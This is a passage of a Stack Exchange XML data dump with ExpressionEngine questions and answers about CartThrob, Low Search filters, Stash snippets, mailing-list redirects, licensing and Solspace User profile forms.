OwnerUserId="197" LastActivityDate="2014-01-24T21:25:09.493" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18746" PostTypeId="1" CreationDate="2014-01-24T21:38:58.063" Score="1" ViewCount="44" Body="&lt;p&gt;I am trying to use a template that I have custom Gateway fields in and I am using the following code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:cartthrob:checkout_form return=&quot;&quot;}&#xA;{gateway_fields}&#xA;&amp;lt;button class=&quot;checkout&quot;&amp;gt;Check Out&amp;lt;/button&amp;gt;&#xA;{/exp:cartthrob:checkout_form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But when the page renders there is just the EE embed tag instead of the fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using Stash variables to embed this form in the main page wrapper. I think it has something to do with the parsing order but I am not able to figure it out. Any help would be great.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="2372" LastActivityDate="2014-01-31T05:05:29.000" Title="Gateway Fields are not being displayed" Tags="|cartthrob|stash|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18747" PostTypeId="1" AcceptedAnswerId="18754" CreationDate="2014-01-24T21:59:13.653" Score="2" ViewCount="241" Body="&lt;p&gt;I'm a little lost here. I have the following situation:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;I have channel entries (properties) which are geocoded (latitude, longitude)&lt;/li&gt;&#xA;&lt;li&gt;I'm trying to use Low Search to look for properties and have them sorted by distance from preferred location / address&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Problem: How do I tell Low Search which geocode the address (City or Street or Postal Code) the user is searching for has?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the detail page of Low Search:&#xA;&lt;a href=&quot;http://gotolow.com/addons/low-search/docs/filters#distance&quot; rel=&quot;nofollow&quot;&gt;http://gotolow.com/addons/low-search/docs/filters#distance&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance! &lt;/p&gt;&#xA;" OwnerUserId="1736" LastActivityDate="2014-02-24T12:48:07.307" Title="Low Search: Search by Postal code, populate latitude, longitude automatically" Tags="|low-search|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18748" PostTypeId="2" ParentId="18741" CreationDate="2014-01-24T22:07:10.903" Score="0" Body="&lt;p&gt;&lt;a href=&quot;https://github.com/designbyfront/LDAP-Authentication-for-ExpressionEngine&quot; rel=&quot;nofollow&quot;&gt;This LDAP extension looks like a good place to start&lt;/a&gt; - the extension is older, but it looks like all the pieces are in place. You could build on this as needed.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-01-24T22:07:10.903" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18749" PostTypeId="2" ParentId="18742" CreationDate="2014-01-24T22:09:48.807" Score="4" Body="&lt;p&gt;The simplest solution is to use EE's built-in &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/members/member_groups.html&quot; rel=&quot;nofollow&quot;&gt;Member Groups&lt;/a&gt;, then use conditional checking in your templates:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if logged_in_group_id == &quot;5&quot;}&#xA;    // Place some group-specific code here&#xA;{/if}&#xA;&#xA;{if logged_in_group_id == &quot;8&quot;}&#xA;    // Place some group-specific code here&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-01-24T22:09:48.807" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18750" PostTypeId="1" CreationDate="2014-01-25T00:09:08.787" Score="2" ViewCount="225" Body="&lt;p&gt;I consistently use a few Snippets for things like HTML HEAD boilerplate code, and I've long used the Snippet Sync add-on to give me easy file access to the snippet code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now that I'm consistently using Stash, I'm thinking about creating and managing Snippets wholly via Stash embeds and/or variables with &lt;code&gt;type=&quot;snippet&quot;&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Curious if anyone has already made this switch / if anyone is already handling all of their snippets via Stash?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any potential downsides in working with Snippets wholly via Stash?&lt;/p&gt;&#xA;" OwnerUserId="1900" LastEditorUserId="1900" LastEditDate="2014-01-27T05:03:12.217" LastActivityDate="2014-02-26T05:49:21.280" Title="Stash snippets vs &quot;native&quot; snippets" Tags="|stash|snippets|snippet-sync|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18751" PostTypeId="2" ParentId="18727" CreationDate="2014-01-25T02:51:12.133" Score="4" Body="&lt;p&gt;Derek was very close. I actually wrote a &lt;a href=&quot;https://expressionengine.stackexchange.com/a/18648/150&quot;&gt;similar answer to this the other day&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to find the actual status before you update the order. Since you already have the $order object, all you need to do is this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$status = Store\Model\Status::where('name', $status_name)-&amp;gt;first();&#xA;$order-&amp;gt;updateStatus($status);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;FYI in case you are wondering, you can loop through the order items like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foreach ($order-&amp;gt;items as $item) {&#xA;    echo($item-&amp;gt;entry_id); // etc&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="150" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2014-01-25T02:51:12.133" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18752" PostTypeId="2" ParentId="1651" CreationDate="2014-01-25T08:08:58.293" Score="0" Body="&lt;p&gt;I know this question has already been answered and even though my contribution serves a different purpose, this Q&amp;amp;A result was one of the first to display when I was searching for a solution for radio options within a Matrix cell type. I hope this will help anyone looking for a similar solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found Field Pack (&lt;a href=&quot;http://devot-ee.com/add-ons/field-pack&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://devot-ee.com/add-ons/field-pack&lt;/a&gt;) by Pixel &amp;amp; Tonic to be a great solution. It is fully compatible with Matrix.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After installing the Fieldtypes you want to use, select &quot;Field Pack - Radio Buttons&quot; as the Matrix Cell Type and then list the radio options on separate lines:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DJVw8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then when creating the content, this is how the Radio options display:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UMZeq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The selected option will display exactly as you have entered it on the front-end:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GZ3BF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1158" LastActivityDate="2014-01-25T08:08:58.293" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18753" PostTypeId="2" ParentId="14995" CreationDate="2014-01-25T09:07:59.307" Score="1" Body="&lt;p&gt;I had same problem, and it was a simple solution for my set up. I had to copy the themes folder from site 1 into site 2, including third party and EE system cp themes etc, with site_themes being the only folder unique to site 2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bit of a pain because of the need to sync the two themes folders manually when adding new add-ons and updates, but since it's only for my occasional MSM site I can handle that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is also possible to link to assets using the site 1  links if you want to keep a single themes folder, as long as you don't mind the site 1 links in source code of site 2.&lt;/p&gt;&#xA;" OwnerUserId="188" LastEditorUserId="150" LastEditDate="2014-04-28T04:20:44.407" LastActivityDate="2014-04-28T04:20:44.407" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18754" PostTypeId="2" ParentId="18747" CreationDate="2014-01-25T10:49:35.643" Score="2" Body="&lt;p&gt;Low Search's Distance filter takes lat/long values as from and to values to calculate the distances per entry. If you want to use addresses, it's up to you to transform that into lat/long values, before sending that data off to Low Search.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.google.com/search?q=convert%20postcode%20to%20latitude%20longitude&quot; rel=&quot;nofollow noreferrer&quot;&gt;This Google search&lt;/a&gt; will give you a &lt;a href=&quot;https://stackoverflow.com/questions/98449/how-to-convert-an-address-to-a-latitude-longitude&quot;&gt;nice start&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="172" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:12.123" LastActivityDate="2014-01-25T10:49:35.643" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18755" PostTypeId="1" AcceptedAnswerId="18789" CreationDate="2014-01-25T15:13:52.633" Score="1" ViewCount="365" Body="&lt;p&gt;I am trying to figure out how to redirect users once they click on the Mailing List confirmation email link.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently, when someone submits their email for inclusion in a mailing list, they get an email that they must respond to by clicking on the link to activate their subscription. Unfortunately this results in a generic EE confirmation page:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fNl46.png&quot; alt=&quot;Email confirmation notice&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to redirect them from here to another page on the site? If so how?&lt;/p&gt;&#xA;" OwnerUserId="258" LastActivityDate="2014-01-27T17:48:18.163" Title="How do I redirect from a User Message Template" Tags="|forms|redirects|subscriptions|mailinglist|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18756" PostTypeId="1" AcceptedAnswerId="18816" CreationDate="2014-01-25T17:44:20.420" Score="1" ViewCount="45" Body="&lt;p&gt;I am wondering if there is a way to make certain items appear first within a category, regardless of default item order?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like particular items, buried within several pages because item order defaults to alphabetical, to appear first.  Is this possible?&lt;/p&gt;&#xA;" OwnerUserId="2658" LastActivityDate="2014-01-28T07:22:13.817" Title="Manually arrange product placement in cartthrob" Tags="|sort|product|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18757" PostTypeId="2" ParentId="18593" CreationDate="2014-01-25T23:13:46.930" Score="11" Body="&lt;p&gt;Jesus Christ, never EVER enter a comma in EE. I bet you brought down gmail yesterday too.&lt;/p&gt;&#xA;" OwnerUserId="108" LastActivityDate="2014-01-25T23:13:46.930" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18758" PostTypeId="1" AcceptedAnswerId="18763" CreationDate="2014-01-26T00:21:52.213" Score="1" ViewCount="201" Body="&lt;p&gt;Long story short, client has not paid but I bought and registered with my account. Client has expressed they have no intention to ever pay for serial as agreed, I would like to use this for another client instead so I'm not out $300!  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I regenerate the license number for this particular copy?&lt;/p&gt;&#xA;" OwnerUserId="2063" LastActivityDate="2014-01-26T23:12:08.107" Title="Can I revoke or regenerate an expressionengine license number?" Tags="|license|licensing|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18759" PostTypeId="2" ParentId="18755" CreationDate="2014-01-26T02:26:41.613" Score="0" Body="&lt;p&gt;It would be better to apply some JavaScript to redirect user to another page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to CP -&gt; Design -&gt; Message Pages -&gt; User Messages&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var delay = 500;&#xA;setTimeout(function(){ window.location = URL; }, delay);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But note, it would be effected for all the user messages. Although, you can check referrer URL with &lt;code&gt;document.referrer&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2014-01-26T02:26:41.613" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18760" PostTypeId="2" ParentId="18663" CreationDate="2014-01-26T02:52:59.957" Score="0" Body="&lt;p&gt;I've found an answer to my own follow up question after Solspace's answer which I'll pot here for others.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;To convert multiple Super Search inclusive categories into category names:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using a combination of an embedded template, channel:categories tag, and CE String (&lt;a href=&quot;http://devot-ee.com/add-ons/ce-string&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/ce-string&lt;/a&gt;). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my results page I have this: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;directory/.ss-catname&quot; group=&quot;10&quot; cats=&quot;{super_search_category}&quot;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and this &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;directory/.ss-catname&quot; group=&quot;2&quot; cats=&quot;{super_search_category}&quot;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and then in that embed I have this: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:categories category_group=&quot;{embed:group}&quot; style=&quot;linear&quot;}&#xA;{if &quot;{exp:ce_str:ing strpos='{category_url_title}'}{embed:cats}{/exp:ce_str:ing}&quot; != &quot;-1&quot;}{category_name}{/if}&#xA;{/exp:channel:categories}&#xA;{if {embed:group} == &quot;2&quot; &amp;amp;&amp;amp; &quot;{exp:ce_str:ing str_word_count}{embed:cats}{/exp:ce_str:ing}&quot; == &quot;1&quot;}All Locations{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="982" LastActivityDate="2014-01-26T02:52:59.957" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18761" PostTypeId="2" ParentId="18755" CreationDate="2014-01-26T03:03:34.837" Score="0" Body="&lt;p&gt;The older 3.X version of Solspace Freeform allowed you to add email addresses of submitted forms to any EE mailing list of your choice. You could replace your existing mailing list signup form with a Freeform form to add users to the list. Then you can use Freeform's &quot;return&quot; param to decide exactly where they go after sign up.&lt;/p&gt;&#xA;" OwnerUserId="982" LastActivityDate="2014-01-26T03:03:34.837" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18763" PostTypeId="2" ParentId="18758" CreationDate="2014-01-26T11:01:51.593" Score="4" Body="&lt;p&gt;This is going to be opinion based answers and only EllisLab can give you the correct answer - so ideally you'd need to contact them to confirm.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But you can use a license number for a single site, so a duplicate use of that license would be officially a breach of license. But only the license holder/owner can state which is the valid licensed site - it shouldn't be a case of first use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if you were to ensure that any notes attached to your EllisLab account and license purchase referred to your new client's website, not the old one and you made it perfectly clear in a formal letter or email that their version of ExpressionEngine is illegal and not formally licensed with polite instructions as to how they should obtain a license.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If they were to try to contact EllisLab to transfer the [now invalid] license to their own account, EllisLab would confirm with the account holder (you) first, and you would be able to explain the situation and deny the transfer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you purchased the license with an account in their name, you're stuck!&lt;/p&gt;&#xA;" OwnerUserId="425" LastEditorUserId="182" LastEditDate="2014-01-26T12:29:32.343" LastActivityDate="2014-01-26T12:29:32.343" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18764" PostTypeId="2" ParentId="18744" CreationDate="2014-01-26T11:21:42.053" Score="2" Body="&lt;p&gt;As you've stated the S stands for session, so EE can identify the user throughout the site visit using a query string.  Google can't natively index these links, unless the Googlebot learns to create an account!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know if your site is a member type site, but my guess is either a member of your site has published a link somewhere, or more likely, your client has followed the steps you describe to work out the path to an entry and used the path in a hard coded link - which may still be there. And Google has then index it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Trouble is you can't use a third party tool to check your links, because it is a valid link, so you'll need to run searches in your database to check the content and templates for the &quot;/S=&quot; element of the URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use Google Webmaster Tools to de-index the offending URL.&lt;/p&gt;&#xA;" OwnerUserId="425" LastActivityDate="2014-01-26T11:21:42.053" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18765" PostTypeId="1" AcceptedAnswerId="18766" CreationDate="2014-01-26T14:46:11.223" Score="1" ViewCount="169" Body="&lt;p&gt;I have two custom fields. One is a start year and one is an end year. I need to filter my search results based on if the search query falls between that range. I have read the docs related to the range:field_name filter but can't seem to wrap my head around what I need to do?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;e.g. If someone types 1998 into the year custom field, it MUST find an entry where the year falls between the custom_field_1 and custom_field_2 values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried this as the field name but it errored out with the Disallowed Key Character message.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;text&quot; name=&quot;range:vehicleYearFrom|vehicleYearTo&quot; id=&quot;years&quot; placeholder=&quot;Year&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I hope this makes sense. :-)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your help!&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt; Everything works except when I try to combine the range and the search filters I get no results. If I use ONLY field search filters it works fine, and if I use ONLY the range filter, it works fine, but when I use both, I get no results. Any ideas why?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  {exp:low_search:form&#xA;    force_protocol=&quot;https&quot;&#xA;    result_page=&quot;/get-started/%s&quot;&#xA;  }&#xA;    {error_message}&#xA;    &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;      &amp;lt;div class=&quot;small-12 large-8 large-centered columns&quot;&amp;gt;&#xA;        &amp;lt;div id=&quot;your_vehicle&quot;&amp;gt;&#xA;          &amp;lt;h2&amp;gt;Your Vehicle&amp;lt;/h2&amp;gt;&#xA;          &amp;lt;p&amp;gt;&amp;lt;i&amp;gt;e.g. 2003 Buick Rendezvous&amp;lt;/i&amp;gt;&amp;lt;/p&amp;gt;&#xA;          &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;small-12 large-4 columns&quot;&amp;gt;&#xA;              &amp;lt;input type=&quot;text&quot; name=&quot;range-from:vehicleYearFrom&quot; id=&quot;yearsFrom&quot; placeholder=&quot;Year&quot;&amp;gt;&#xA;              &amp;lt;input type=&quot;text&quot; name=&quot;range-to:vehicleYearTo&quot; id=&quot;yearsTo&quot;&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;div class=&quot;small-12 large-4 columns&quot;&amp;gt;&#xA;              &amp;lt;input type=&quot;text&quot; name=&quot;search:vehicleMake&quot; id=&quot;makes&quot; placeholder=&quot;Make&quot;&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;div class=&quot;small-12 large-4 columns&quot;&amp;gt;&#xA;              &amp;lt;input type=&quot;text&quot; name=&quot;search:vehicleModel&quot; id=&quot;models&quot; placeholder=&quot;Model&quot;&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;          &amp;lt;/div&amp;gt;&#xA;          &amp;lt;br&amp;gt;&#xA;          &amp;lt;h5&amp;gt;&amp;lt;a href=&quot;{path='money-back-warranty'}&quot;&amp;gt;100% Money Back Guarantee&amp;lt;/a&amp;gt; - Free Shipping on Purchases of $30 or More&amp;lt;/h5&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;      &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;button type=&quot;submit&quot;&amp;gt;Search&amp;lt;/button&amp;gt;&#xA;  {/exp:low_search:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="659" LastEditorUserId="659" LastEditDate="2014-01-26T15:28:44.950" LastActivityDate="2014-01-26T16:47:37.520" Title="Filter results between two custom number fields" Tags="|search|low-search|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18766" PostTypeId="2" ParentId="18765" CreationDate="2014-01-26T15:03:07.740" Score="1" Body="&lt;p&gt;Having two channel fields for the range means you also need two input fields to filter. The &lt;code&gt;name&lt;/code&gt; attribute of an input field always takes a &lt;em&gt;single parameter&lt;/em&gt;. You're actually looking at &lt;em&gt;two&lt;/em&gt; different ranges. To clarify:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You have to fields; a &lt;code&gt;FromYear&lt;/code&gt; field and &lt;code&gt;ToYear&lt;/code&gt; field.&lt;/li&gt;&#xA;&lt;li&gt;You have one value you want to match against, so 2 ranges.&lt;/li&gt;&#xA;&lt;li&gt;For the first range you would want all matches where &lt;code&gt;FromYear&lt;/code&gt; goes &lt;em&gt;up to&lt;/em&gt; your number.&lt;/li&gt;&#xA;&lt;li&gt;For the second range, you would want all matches where &lt;code&gt;ToYear&lt;/code&gt; &lt;em&gt;starts at&lt;/em&gt; your number and up.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;In an example, the Buick has &lt;code&gt;FromYear&lt;/code&gt; 2002 and &lt;code&gt;ToYear&lt;/code&gt; 2007. Enter year 2003.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;FromYear&lt;/code&gt; should be &amp;lt;= 2003.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;ToYear&lt;/code&gt; should be &gt;= 2003.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;In LS ranges, targeting these fields: &lt;code&gt;range:FromYear=&quot;|2003&quot; range:ToYear=&quot;2003|&quot;&lt;/code&gt;, or in the different syntax: &lt;code&gt;range-to:FromYear=&quot;2003&quot; range-from:ToYear=&quot;2003&quot;&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Changing that to input fields you can use in your form, you'd probably need something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;range-to:FromYear&quot; class=&quot;year-range&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;range-from:ToYear&quot; class=&quot;year-range&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;text&quot; id=&quot;year&quot; placeholder=&quot;Year&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then use JavaScript to change the values of the &lt;code&gt;year-range&lt;/code&gt; hidden input fields on form submit, for example.&lt;/p&gt;&#xA;" OwnerUserId="172" LastEditorUserId="172" LastEditDate="2014-01-26T16:47:37.520" LastActivityDate="2014-01-26T16:47:37.520" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18767" PostTypeId="2" ParentId="18716" CreationDate="2014-01-26T19:47:38.987" Score="1" Body="&lt;p&gt;Having spoke to Expressionengine support they have confirmed that The category tag is only going to be parsed on a category type url.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So a custom plugin is the way to proceed with this, using the categories function in mod.wiki.php. as inspiration. &lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2014-01-26T19:47:38.987" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18768" PostTypeId="1" AcceptedAnswerId="18775" CreationDate="2014-01-26T21:25:12.287" Score="0" ViewCount="146" Body="&lt;p&gt;I'm making a site for a client which has about two thousand news entries that were imported from a WordPress installation, each entry is using a channel images field. However some entries are missing an image that needs to be uploaded. Is it possible to somehow write a query that would list titles or entry ids of entries that are currently missing an image? It's a pain to go through them all by hand.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Normally it's not a problem to just list entry titles where a certain field is empty but channel images uses a separate table&lt;/p&gt;&#xA;" OwnerUserId="1438" LastActivityDate="2014-01-27T02:03:31.233" Title="Channel images find entry with no set image" Tags="|query|channel-images|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18769" PostTypeId="2" ParentId="18712" CreationDate="2014-01-26T21:45:28.510" Score="3" Body="&lt;p&gt;If you don't want to spend money on an add-on just for this purpose, I found a bit of an inelegant solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I recently had to change the Status of hundreds of entries and used &lt;a href=&quot;http://benalman.com/code/test/jquery-run-code-bookmarklet/&quot; rel=&quot;nofollow&quot;&gt;Ben Alman's bookmarklet tool&lt;/a&gt; to make things a little easier. It allowed me to run a small bit of jQuery on EE's Multi Entry Editor page and set each entry's Entry Status select dropdown to Closed:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Enter a Bookmarklet name - &quot;Set EE Status to Closed&quot;.&lt;/li&gt;&#xA;&lt;li&gt;Paste in jQuery code that will target all Entry Status select dropdowns:&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(&quot;table.mainTable select option[value='closed']&quot;).attr(&quot;selected&quot;,&quot;selected&quot;);&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Click the Generate button then drag the green bookmarklet button to your bookmark bar.&lt;/li&gt;&#xA;&lt;li&gt;On the EE Edit page I had to set the results dropdown to the max 150 results.&lt;/li&gt;&#xA;&lt;li&gt;Filter your entries however you need to then click the select all entries checkbox.&lt;/li&gt;&#xA;&lt;li&gt;Click Submit (obviously with 'Edit Selected' not 'Delete Selected') to access the Multi Entry Editor.&lt;/li&gt;&#xA;&lt;li&gt;Click your &quot;Set EE Status to Closed&quot; bookmarklet - all Entry Status dropdowns should be set to Closed &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1164" LastActivityDate="2014-01-26T21:45:28.510" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18770" PostTypeId="2" ParentId="18741" CreationDate="2014-01-26T23:08:31.387" Score="0" Body="&lt;p&gt;It's relatively easy to roll your own SSO solution because signing a user into ExpressionEngine is fairly simple.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have the appropriate data, it's easy to create an ExpressionEngine user, create a relationship (I've typically done this using a new database table) and sign this user in based on the response from the API you're using.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not familiar with the required effort when it comes to working with LDAP but if you dig into the ExpressionEngine member module source code you'll see how simple it is to sign a user in or instantiate a new user.&lt;/p&gt;&#xA;" OwnerUserId="326" LastActivityDate="2014-01-26T23:08:31.387" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18771" PostTypeId="1" AcceptedAnswerId="18791" CreationDate="2014-01-26T23:09:49.997" Score="0" ViewCount="97" Body="&lt;p&gt;I am using Solspace User.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unable to force user to input current password after modifying their profile.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using this parameter &lt;code&gt;password_required=&quot;y&quot;&lt;/code&gt; or &lt;code&gt;password_required=&quot;yes&quot;&lt;/code&gt; takes no effect. It is not redirecting me to error page or prompting any error message&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not logged in as Super Admin&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:user:edit&#xA;    group_id=&quot;5|6&quot;&#xA;    member_id=&quot;{segment_3}&quot;&#xA;    password_required=&quot;yes&quot;&#xA;    required=&quot;formal_title|first_name|last_name&quot;&#xA;    return=&quot;teachers/edit_profile/{segment_3}/success&quot;&#xA;            error_page=&quot;teachers/error&quot;&#xA;}&#xA;&#xA;    &amp;lt;input type=&quot;text&quot; name=&quot;username&quot; value=&quot;{username}&quot; placeholder=&quot;Email address&quot;/&amp;gt;&#xA;    &amp;lt;br&amp;gt;&#xA;&#xA;    &amp;lt;select name=&quot;formal_title&quot;&amp;gt;&#xA;        {select_formal_title}&#xA;            &amp;lt;option value=&quot;{value}&quot; {selected}&amp;gt;{value}&amp;lt;/option&amp;gt;&#xA;        {/select_formal_title}&#xA;    &amp;lt;/select&amp;gt;&#xA;    &amp;lt;br&amp;gt;&#xA;&#xA;    &amp;lt;input type=&quot;text&quot; name=&quot;first_name&quot; value=&quot;{first_name}&quot; placeholder=&quot;First name&quot;/&amp;gt;&#xA;    &amp;lt;br&amp;gt;&#xA;&#xA;    &amp;lt;input type=&quot;text&quot; name=&quot;last_name&quot; value=&quot;{last_name}&quot; placeholder=&quot;Last name&quot;/&amp;gt;&#xA;    &amp;lt;br&amp;gt;&#xA;&#xA;&#xA;&#xA;    &amp;lt;input type=&quot;password&quot; name=&quot;current_password&quot; placeholder=&quot;Current Password&quot; /&amp;gt;&#xA;    &amp;lt;br&amp;gt;&#xA;&#xA;    